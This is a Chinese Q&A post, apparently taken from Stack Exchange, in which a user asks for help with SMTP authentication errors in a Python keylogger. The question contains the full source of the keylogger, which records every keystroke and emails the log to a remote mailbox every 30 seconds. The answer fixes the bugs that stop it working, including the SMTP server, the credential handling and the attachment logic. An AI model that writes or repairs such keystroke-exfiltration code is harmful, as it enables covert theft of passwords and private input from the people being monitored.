开发Python键盘记录器项目遭遇SMTP认证错误求助
问题描述
开发Python键盘记录器时遇到SMTP认证失败错误,运行时已替换真实邮箱和应用密码,报错信息如下:
Exception in thread Thread-1: Traceback (most recent call last):
File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\threading.py", line 1038, in _bootstrap_inner
self.run() File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\threading.py", line 1394, in run
self.function(*self.args, **self.kwargs) File "C:\Users\Althaf\Desktop\keyylogger.py", line 53, in report
self.send_mail() File "C:\Users\Althaf\Desktop\keyylogger.py", line 31, in send_mail
server.login(self.email, self.password) File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\smtplib.py", line 750, in login
raise last_exception File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\smtplib.py", line 739, in login
(code, resp) = self.auth(
^^^^^^^^^^ File "C:\Users\Althaf\AppData\Local\Programs\Python\Python311\Lib\smtplib.py", line 662, in auth
raise SMTPAuthenticationError(code, resp) smtplib.SMTPAuthenticationError: (535, b'5.7.139 Authentication unsuccessful, account locked. Contact your administrator. [BM1PR01CA0158.INDPRD01.PROD.OUTLOOK.COM 2023-03-07T17:10:27.843Z 08DB1E8F8CC0635E]')
项目代码:
import keyboard import smtplib import threading from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.application import MIMEApplication with open('log.txt', 'w') as f: pass class Keylogger: def __init__(self, interval, email, password): self.interval = interval self.email = 'myemail@gmail.com' self.password = 'myapppassword' self.log = "" self.timer = threading.Timer(interval=self.interval, function=self.report) self.prepare_mail() def prepare_mail(self): self.msg = MIMEMultipart() self.msg['From'] = self.email self.msg['To'] = self.email self.msg['Subject'] = 'Keylogger report' self.attachment = MIMEApplication(open('log.txt', 'rb').read(), _subtype='txt') self.attachment.add_header('Content-Disposition', 'attachment', filename='log.txt') self.msg.attach(self.attachment) def send_mail(self): with smtplib.SMTP('smtp-mail.outlook.com', 587) as server: server.starttls() server.login(self.email, self.password) server.sendmail(self.email, self.email, self.msg.as_string()) def start(self): keyboard.on_release(callback=self.callback) self.timer.start() def callback(self, event): if event.name == "enter": self.log += "\n" elif event.name == "space": self.log += " " elif len(event.name) > 1: self.log += f"[{event.name.upper()}]" else: self.log += event.name def report(self): if self.log: with open('log.txt', 'a') as f: f.write(self.log) self.prepare_mail() self.send_mail() self.log = "" self.timer = threading.Timer(interval=self.interval, function=self.report) self.timer.start() if __name__ == "__main__": keylogger = Keylogger(interval=30, email="myemail@gmail.com", password="myapppassword") keylogger.start()
解决方案
1. 解锁被锁定的邮箱账户
报错明确提示account locked,需先处理账户锁定问题:
- 登录对应邮箱账户,查看安全通知,按提示完成身份验证、密码修改等解锁操作
- 若为企业邮箱,联系管理员协助解锁
2. 修正SMTP服务器与邮箱类型不匹配问题
代码中使用Gmail邮箱,但连接的是Outlook的SMTP服务器,这会直接导致认证失败,需根据邮箱类型调整:
若使用Gmail:
- SMTP服务器改为
smtp.gmail.com,端口保持587 - 确保已开启账户两步验证,使用应用专用密码登录(不可用普通账户密码)
修改后的send_mail方法:
def send_mail(self): with smtplib.SMTP('smtp.gmail.com', 587) as server: server.starttls() server.login(self.email, self.password) server.sendmail(self.email, self.email, self.msg.as_string())
若使用Outlook/Hotmail邮箱:
- 将邮箱地址改为Outlook格式(如
xxx@outlook.com),确保使用正确的账户密码或应用密码
3. 修复硬编码参数问题
__init__方法中硬编码了邮箱和密码,忽略了传入的参数,导致外部传值无效。修改如下:
def __init__(self, interval, email, password): self.interval = interval self.email = email # 使用传入的email参数 self.password = password # 使用传入的password参数 self.log = "" self.timer = threading.Timer(interval=self.interval, function=self.report) self.prepare_mail()
4. 优化邮件附件逻辑
当前初始化时就读取空的log.txt,导致第一次发送的邮件附件为空。建议在prepare_mail中实时读取最新日志:
def prepare_mail(self): self.msg = MIMEMultipart() self.msg['From'] = self.email self.msg['To'] = self.email self.msg['Subject'] = 'Keylogger report' # 读取最新日志内容 with open('log.txt', 'rb') as f: self.attachment = MIMEApplication(f.read(), _subtype='txt') self.attachment.add_header('Content-Disposition', 'attachment', filename='log.txt') self.msg.attach(self.attachment)
内容的提问来源于stack exchange,提问作者ALTHAF ABDUL SALAM

